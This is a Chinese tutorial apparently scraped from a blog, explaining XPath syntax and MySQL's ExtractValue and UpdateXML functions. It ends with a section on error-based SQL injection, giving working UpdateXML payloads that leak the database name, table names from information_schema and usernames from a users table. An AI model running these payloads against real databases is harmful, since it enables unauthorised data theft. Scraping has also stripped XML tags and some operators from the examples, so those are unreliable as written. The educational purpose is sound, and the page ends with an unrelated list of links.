当前位置: 首页 > article >正文

XPath 语法完全指南:从基础语法到 SQL 注入中的应用

爬虫、处理过配置文件、或者接触过 MySQL 的 XML 函数的一定都见过 XPath 这个名词。它是一种专门用来在 XML 文档中“寻址”的语言语法像文件路径一样直观。同时XPath 是 Web 安全领域中 SQL 报错盲注中的关键角色。一、XPath 是什么XPath 的全称是 XML Path Language它提供了一种在 XML 文档中查找节点元素、属性、文本的方法可以把它理解为“XML 版的文件路径”。例如Windows 路径C:\Users\Admin\Desktop表示层层目录而 XPath 路径/bookstore/book/title则表示根节点下的bookstore节点下的book节点下的title节点。XPath 不仅能定位节点还能通过条件筛选、使用函数进行更复杂的查询。二、XPath 基础语法1. 路径表达式XPath 通过路径来选取节点最常用的表达式如下表达式含义/从根节点开始绝对路径//从任意位置选取节点不考虑层级.当前节点..父节点选取属性例子假设我们有这样一个 XML 文档保存为books.xmlbookstore book id1 titleSQL注入攻防/title author李四/author price69.00/price /book book id2 titleMySQL高级教程/title author王五/author price89.00/price /book /bookstore/bookstore/book#选取所有book元素位于根节点下//title#选取文档中所有的title元素/bookstore/book[1]/id#选取第一本书的id属性值//author/..#选取所有author的父节点即book节点2. [ ]条件筛选谓语用方括号[]包裹相当于 SQL 中的WHERE子句用来过滤节点。示例含义[1]第一个注意索引从 1 开始[last()]最后一个[position()3]前两个[price70]价格大于 70 的书[id1]id 属性等于 1 的书例子/bookstore/book[1]/title#第一本书的书名/bookstore/book[price80]#价格高于 80 的书//book[id2]/author#id 为 2 的书的作者3. 通配符与多路径符号含义*匹配任意元素节点*匹配任意属性节点node()匹配任意类型的节点|合并多个路径取并集例子/bookstore/*#bookstore下的所有直接子元素//title | //author#所有书名和作者/bookstore/book[*]#所有带任意属性的book元素三、XPath 常用函数XPath 内置了很多函数在实际应用中能更灵活地处理数据。函数作用text()获取当前节点的文本内容contains(str1, str2)判断 str1 是否包含 str2starts-with(str1, str2)判断是否以 str2 开头string-length(str)返回字符串长度substring(str, start, len)截取子串last()返回当前节点集合中最后一个的位置position()返回当前节点在兄弟节点中的序号例子//book[contains(title, 注入)]#书名中包含“注入”的书//book[starts-with(title, MySQL)]#书名以“MySQL”开头的书//book[price 70]/title/text()#价格高于 70 的书的书名文本4. 轴轴用于定义节点与当前节点的关系方便做复杂的遍历。轴名称含义child::子节点默认parent::父节点ancestor::祖先节点descendant::后代节点following-sibling::后续兄弟节点preceding-sibling::前面兄弟节点attribute::属性节点简写例子//title/parent::book#所有title的父节点book//book[1]/following-sibling::book#第一本书后面的所有兄弟书//book/attribute::id#等价于//book/id四、在实际开发中如何使用 XPathMySQL 为例MySQL 提供了两个内置函数来操作 XML 数据它们都依赖 XPath。1.ExtractValue()提取 XML 中的值语法ExtractValue(xml_string, xpath)假设我们有一张book_info表其中details字段存储了上面的 XML 内容。-- 提取第一本书的书名 SELECT ExtractValue(details, /bookstore/book[1]/title) FROM book_info; -- 提取所有书的作者多个结果用空格连接 SELECT ExtractValue(details, /bookstore/book/author) FROM book_info; -- 提取 id2 的图书价格 SELECT ExtractValue(details, /bookstore/book[id2]/price) FROM book_info; -- 提取包含“数据库”标签的图书标题假设有 tags 结构这里仅示例 SELECT ExtractValue(details, /bookstore/book[contains(title, 数据库)]/title) FROM book_info;2.UpdateXML()更新 XML 中的节点语法UpdateXML(xml_string, xpath, new_xml_fragment)-- 将第一本书的价格改为 99.00 SELECT UpdateXML(details, /bookstore/book[1]/price, price99.00/price) FROM book_info; -- 注意UpdateXML 只返回修改后的 XML需要配合 UPDATE 才能真正更新数据 UPDATE book_info SET details UpdateXML(details, /bookstore/book[1]/price, price99.00/price) WHERE id 1;五、安全视角XPath 在 SQL 报错盲注中的应用“报错盲注”当页面没有回显查询结果但会输出数据库报错信息时我们可以利用某些函数强行让数据库报错并将想要的数据“夹带”在错误信息中。MySQL 的ExtractValue()和UpdateXML()正是实现报错注入的常用工具。它们的原理是当第二个参数XPath 表达式不合法时MySQL 会报错并显示该参数的内容。1. 常规用法正常情况下我们传入合法的 XPath函数正常工作SELECT ExtractValue(useradmin/user, /user); -- 返回 admin2. 恶意构造比如想要查询的数据比如数据库名拼接到 XPath 中并故意让 XPath 语法错误SELECT UpdateXML(1, concat(0x7e, database(), 0x7e), 1);concat(0x7e, database(), 0x7e)的结果是~test~0x7e是波浪号~~test~不是合法的 XPath 表达式所以 MySQL 报错ERROR 1105 (HY000): XPATH syntax error: ~test~于是数据库名test就这样被泄露了出来。3. 利用真实 XML 字段如果表里确实有一个 XML 字段比如config可以这样写SELECT UpdateXML(config, concat(0x7e, (SELECT database()), 0x7e), 1) FROM user WHERE id 1;MySQL 在执行时发现第二个参数不合法仍然会报错并显示数据库名。4. 提取表名、字段名把查询语句替换成任意想要的数据-- 获取所有数据库名逐个提取 SELECT UpdateXML(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x7e), 1); -- 获取当前数据库的表名 SELECT UpdateXML(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schematest LIMIT 0,1), 0x7e), 1); -- 获取敏感数据 SELECT UpdateXML(1, concat(0x7e, (SELECT username FROM users LIMIT 0,1), 0x7e), 1);这样就能一步步通过报错信息获取整个数据库的结构和数据。六、使用场景XPath 是一门简洁而强大的 XML 定位语言它的语法清晰使用灵活。在常规开发中它是解析 XML 数据的重要工具而在安全领域它又成为攻击者利用报错注入的突破口。场景XPath 的角色正常开发精确查找 XML 节点配合ExtractValue、UpdateXML等函数操作数据SQL 注入通过构造非法 XPath 触发数据库报错泄露敏感信息

相关文章:

XPath 语法完全指南:从基础语法到 SQL 注入中的应用

爬虫、处理过配置文件、或者接触过 MySQL 的 XML 函数的一定都见过 XPath 这个名词。它是一种专门用来在 XML 文档中“寻址”的语言,语法像文件路径一样直观。同时,XPath 是 Web 安全领域中 SQL 报错盲注中的关键角色。一、XPath 是什么?XPat…...

南北阁 Nanbeige 4.1-3B 企业应用方案:私有化部署+对话记忆管理+审计日志扩展接口

南北阁 Nanbeige 4.1-3B 企业应用方案:私有化部署对话记忆管理审计日志扩展接口 想在企业内部部署一个既智能又安全的对话AI吗?今天我们来聊聊如何基于南北阁 Nanbeige 4.1-3B 模型,打造一个功能完备的企业级对话应用。这个方案不仅支持纯本…...

保姆级教程:用Python+Robotics Toolbox搞定Panda机械臂的DH建模与正逆解(附避坑指南)

从零实现Panda机械臂运动学:Python Robotics Toolbox实战指南 机械臂控制是机器人领域的核心技术之一,而运动学建模则是实现精准控制的基础。本文将带您使用Python的Robotics Toolbox,一步步完成Franka Emika Panda机械臂的DH参数建模、正运动…...

【JSReverser-MCP】一句话逆向猿人学21题

近期听闻AI可以做逆向了,于是赶紧来试一试。 相关参考: vibe coding 氛围编程 Vibe coding 用 AI 做 JS 逆向食用教程 JSReverser-MCP 源:https://github.com/NoOne-hub/JSReverser-MCP 安装 环境要求 nodejs v22及以上 已部署Claude code或codex…...

GLM-TTS语音克隆实测:5分钟搞定方言克隆,效果惊艳!

GLM-TTS语音克隆实测:5分钟搞定方言克隆,效果惊艳! 1. 引言:语音克隆技术的新突破 在数字内容爆炸式增长的今天,个性化语音合成技术正成为内容创作者、企业客服、教育机构等领域的刚需。传统语音克隆方案往往需要数小…...

Adafruit ICM20X库详解:ICM20649与ICM20948驱动开发指南

1. 项目概述 Adafruit ICM20X 是 Adafruit 官方维护的 Arduino 兼容库,专为 TDK InvenSense 公司推出的 ICM20649 与 ICM20948 两款高性能 MEMS 运动传感器设计。该库并非通用型 ICM20X 系列驱动,而是聚焦于 Adafruit 自行设计并销售的硬件模块——即 I…...

计算机视觉进阶教学之Mediapipe库(一)

目录 简介 一、Mediapipe Python的安装和应用 二、手部检测 1. 导入必要的库 2. 初始化 MediaPipe 组件 3. 配置并创建手部检测模型实例 4. 启动摄像头并进入主循环 5. 绘制检测结果 三、手势识别 1. 手势识别核心逻辑 a. 计算基准距离 (Base Distance) b. 计算各手…...

Alpamayo-R1-10B开源模型价值:降低L4研发门槛,让算法团队专注因果逻辑而非工程胶水

Alpamayo-R1-10B开源模型价值:降低L4研发门槛,让算法团队专注因果逻辑而非工程胶水 1. 项目概述 Alpamayo-R1-10B是NVIDIA推出的自动驾驶专用开源视觉-语言-动作(VLA)模型,作为一套完整的自动驾驶研发工具链&#xf…...

SmolVLA参数详解:256×256输入分辨率对边缘计算设备的友好性分析

SmolVLA参数详解:256256输入分辨率对边缘计算设备的友好性分析 1. 引言:为什么边缘设备需要紧凑的视觉语言动作模型 在机器人技术和边缘计算领域,我们经常面临一个核心矛盾:强大的AI能力需要大量计算资源,而边缘设备…...

论文AI率突然从20%涨到50%怎么办?紧急处理攻略

论文AI率突然从20%涨到50%怎么办?紧急处理攻略 上周五,一个学妹发消息给我,语气挺崩溃的:“学长,我的论文上个月查AI率才18%,今天重新查直接变成52%了,后天就要交终稿,怎么办啊&…...

密码学算法 - 连分数算法

当你在计算某个数的近似值时🔍,或者在求解某个方程的根时🧮,连分数算法 就像一把神奇的放大镜🔎,能帮你逐步逼近那个隐藏在数字背后的真相。 欢迎来到《密码学核心算法实战》的连分数专题!这里…...

Linux内核构建三要素:Makefile、Kconfig与.config协同机制

1. Linux内核构建系统核心机制解析:Makefile、Kconfig与.config的协同关系在嵌入式Linux开发实践中,内核编译常被视为一道技术门槛。开发者面对庞大的源码树(以Linux-3.4.2为例,包含超过2.5万文件),往往陷入…...

DIY四足机器人入门:用开源项目打造你的第一个仿生机器狗

DIY四足机器人入门:用开源项目打造你的第一个仿生机器狗 四足机器人正从实验室走向创客空间。想象一下,周末午后在自家工作台上组装出一台能行走、奔跑甚至跳舞的机器狗——这不再是科幻场景。得益于MIT Mini Cheetah等开源项目的出现,普通爱…...

HAR实战指南:从Kinetics-400数据集获取到视频帧预处理全流程解析

1. Kinetics-400数据集入门指南 第一次接触Kinetics-400数据集时,我被它庞大的规模震撼到了。这个包含40万段视频片段的数据集,涵盖了从"打篮球"到"刷牙"等400种日常动作,是训练人体动作识别(HAR)模型的黄金标准。但随之…...

通义千问3-Reranker-0.6B模型压缩:基于TensorRT的推理加速

通义千问3-Reranker-0.6B模型压缩:基于TensorRT的推理加速 1. 为什么需要对Qwen3-Reranker做TensorRT优化 你可能已经试过直接加载Qwen3-Reranker-0.6B跑重排序任务,但很快会发现:推理速度不够快,显存占用偏高,尤其在…...

2026年AI提示词(Prompt)终极指南:国内聚合站实战技巧

在AI应用日益深入的2026年,能否写出高质量的提示词(Prompt),直接决定了你从GPT、Claude、Gemini等大模型中获得价值的效率与深度。对于国内用户,学习和实践提示词工程的最佳平台是聚合型AI镜像站。目前,通过…...

大模型学习笔记------SAM模型架构拆解与实战指南

1. SAM模型架构全景拆解 第一次接触SAM模型时,我被它"分割一切"的野心震撼到了。这就像给计算机视觉领域扔下了一颗原子弹——传统需要专门训练的分割任务,现在通过提示词就能实时完成。在实际部署医疗影像标注系统时,我发现理解这…...

读了Linux内核slab源码,发现Linus在20年前就写出了比std::pmr更高效的内存池——内核内存管理的4个设计模式

一、C++的内存池,和内核比差在哪? C++程序员对内存管理不陌生。从最基本的new/delete,到C++17引入的std::pmr::polymorphic_allocator,再到各种第三方库的对象池实现,我们一直在和内存分配器打交道。 但你有没有想过一个问题:为什么C++标准库直到2017年才搞出std::pmr这…...

Dify + Celery + Webhook深度集成:构建高可靠异步管道的6大关键配置点

第一章:Dify自定义节点异步处理的核心架构演进Dify 自 v0.6.10 起将自定义节点(Custom Node)的执行模型从同步阻塞式全面转向基于事件驱动的异步处理架构,其核心目标是解耦节点执行与工作流调度,提升高并发场景下的资源…...

JTAG接口原理、失效诊断与硬件防护实战指南

1. JTAG接口原理与工程实践深度解析在嵌入式系统与可编程逻辑器件的开发流程中,JTAG(Joint Test Action Group)接口不仅是调试与烧录的核心通道,更是硬件工程师验证设计完整性、定位物理层故障的关键工具。本文基于FPGA开发中频繁…...

STM32电机控制库5.4版:开源无感驱动注释详解——从寄存器设置到弱磁控制策略实现

STM32电机库5.4开源无感注释 KEIL工程文件 辅助理解ST库 寄存器设置AD TIM1 龙贝格PLL 前馈控制 弱磁控制 foc的基本流 svpwm占空比计算方法 斜坡启动 死区补偿 有详细的注释, 当前是无传感器版本龙贝格观测,三电阻双AD采样!搞STM32电机控制就像在玩硬件…...

高效掌握SeisUnix:从架构解析到实战应用

高效掌握SeisUnix:从架构解析到实战应用 【免费下载链接】SeisUnix The CWP/SU: Seismic Un*x Package - a free open seismic processing, research, and educational software package. Please seek distribution gzipped tar files at https://wiki.Seismic-Unix…...

Windows任务栏美化:TranslucentTB打造个性化视觉体验

Windows任务栏美化:TranslucentTB打造个性化视觉体验 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB 在Windows桌面个性化领域…...

嵌入式可观测性库:面向教学的轻量级实时调试方案

Elec350_OBS:面向嵌入式教学的实时观测与调试库深度解析1. 项目概述Elec350_OBS 是为加拿大麦吉尔大学(McGill University)ELEC 350 ——《嵌入式系统设计导论》课程配套开发的轻量级观测(Observability)支持库。该库并…...

C语言实现OTA安全降级与故障隔离:3层状态持久化+2次幂回退重试,让固件升级不再“一失足成千古恨”

第一章:C语言OTA升级失败处理的总体设计哲学在资源受限的嵌入式系统中,C语言实现的OTA升级失败处理并非简单的错误重试逻辑,而是一种以**确定性、可回滚性与状态自明性**为核心的系统级设计哲学。它要求每个操作步骤都具备原子边界&#xff0…...

Mos:3大核心技术彻底解决macOS鼠标滚动的终极体验难题

Mos:3大核心技术彻底解决macOS鼠标滚动的终极体验难题 【免费下载链接】Mos 一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具, 让你的滚轮爽如触控板 | A lightweight tool used to smooth scrolling and set scroll direction independently f…...

OpenClaw技能扩展:GLM-4.7-Flash加持的微信公众号排版

OpenClaw技能扩展:GLM-4.7-Flash加持的微信公众号排版 1. 为什么需要自动化公众号排版 每次在微信公众号后台手动调整格式的经历,都让我想起被Word排版支配的恐惧。图片尺寸不统一、行间距忽大忽小、代码块显示错位——这些琐碎问题消耗了我大量本可用…...

告别低效!用Postman Runner批量执行API,让8000条数据自动流转

1. 从手工操作到批量执行的效率革命 上周我接手了一个数据迁移项目,需要将8000多条用户记录通过API推送到新系统。刚开始我手动调用了十几条就发现不对劲——每次点击发送、等待响应、核对结果要花20秒,按这个速度完成全部操作需要连续工作44小时&#…...

KubeVirt + GPU Operator实战:如何在K8s集群中同时管理容器和虚拟机的GPU资源(24.9.0版)

KubeVirt GPU Operator深度实战:混合编排GPU资源的终极指南 混合GPU工作负载管理的挑战与机遇 在当今云原生与AI融合的技术浪潮中,基础设施团队面临着一个关键挑战:如何在统一的Kubernetes平台上同时高效管理容器化AI训练任务和需要GPU强隔离…...

Petduino:面向教育的Arduino兼容嵌入式宠物平台

1. 项目概述Petduino 是一款面向教育与创意硬件开发的 Arduino 兼容嵌入式平台,其核心价值不在于高性能计算,而在于以极简抽象封装复杂外设交互逻辑,使初学者与原型开发者能快速构建具备视觉反馈、音频输出与物理交互能力的“有生命感”的嵌入…...